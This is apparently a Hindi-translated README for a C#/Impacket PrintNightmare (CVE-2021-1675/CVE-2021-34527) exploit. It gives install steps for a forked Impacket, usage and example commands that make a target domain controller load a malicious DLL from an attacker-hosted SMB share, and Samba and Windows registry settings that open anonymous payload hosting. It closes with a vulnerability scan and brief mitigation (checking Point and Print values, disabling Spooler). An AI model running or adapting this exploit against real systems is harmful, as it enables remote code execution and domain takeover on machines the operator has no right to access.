
PrintNightmare CVE-2021-1675/CVE-2021-34527 का C# और Impacket कार्यान्वयन
Impacket द्वारा PrintNightmare PoC का कार्यान्वयन, जिसे मूल रूप से Zhiniang Peng (@edwardzpeng) और Xuefeng Li (@lxf02942370) ने बनाया था
पूरी तरह से पैच किए गए 2019 डोमेन नियंत्रक पर परीक्षण किया गया
दुर्भावनापूर्ण DLL को दूरस्थ या स्थानीय रूप से निष्पादित करें

Microsoft ने इन हमलों को कम करने के लिए एक पैच जारी किया है, लेकिन यदि किसी मशीन पर नीचे दिए गए मान मौजूद हैं, तो मशीन अभी भी कमजोर होगी
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
एक्सप्लॉइट चलाने से पहले आपको मेरे संस्करण का Impacket स्थापित करना होगा और उसके बाद आप तैयार हैं
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 कार्यान्वयन।
positional arguments:
target [[डोमेन/]उपयोगकर्ता नाम:पासवर्ड@]<लक्ष्य का नाम या पता>
share DLL का पथ। उदाहरण '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें
authentication:
-hashes LMHASH:NTHASH
NTLM हैश, प्रारूप LMHASH:NTHASH है
connection:
-target-ip ip address
लक्ष्य मशीन का IP पता। यदि छोड़ा गया तो यह वही उपयोग करेगा जो लक्ष्य के रूप में निर्दिष्ट किया गया था। यह तब उपयोगी होता है जब लक्ष्य NetBIOS नाम है और आप इसे हल नहीं कर सकते
-port [destination port]
SMB सर्वर से कनेक्ट करने के लिए गंतव्य पोर्ट
उदाहरण;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
पेलोड होस्ट करने का सबसे आसान तरीका samba का उपयोग करना और /etc/samba/smb.conf को अनाम पहुंच की अनुमति देने के लिए संशोधित करना है
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
विंडोज से भी संभव है
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #यह मौजूदा NullSessionPipes को ओवरराइट करेगा
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# रिबूट
हम संभावित कमजोर होस्ट को स्कैन करने के लिए impacket से rpcdump.py का उपयोग कर सकते हैं, यदि यह कोई मान लौटाता है, तो यह कमजोर हो सकता है
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Spooler सेवा अक्षम करें
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f